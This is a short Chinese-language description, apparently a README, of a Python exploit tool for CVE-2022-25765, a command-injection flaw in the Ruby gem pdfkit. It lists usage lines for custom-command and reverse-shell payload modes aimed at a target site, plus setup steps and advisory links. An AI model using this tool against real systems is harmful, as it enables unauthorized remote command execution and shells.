ruby gempdfkit
通常用于将网站或 HTML 转换为 PDF 文档。可以向该软件的易受攻击版本 (< 0.8.7.2) 传递一个包含将要执行的命令的特制 URL。此漏洞利用生成可执行 URL 或将它们发送到运行pdfkit
.
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h
-c Custom command mode. Provide command to generate custom payload with.
-s Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
-w URL of website running vulnerable pdfkit. (Optional)
-p POST parameter on website running vulnerable pdfkit. (Optional)
-h Show this help menu.
在此处下载 exploit-CVE-2022-25765.py
python3
python3:requests
python3:urllib3
pdfkit 版本 0.8.6
pdfkit 版本 < 0.8.7.2
gem install pdfkit -v 0.8.6
https://nvd.nist.gov/vuln/detail/CVE-2022-25765
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
项目地址:https://github.com/UNICORDev/exploit-CVE-2022-25765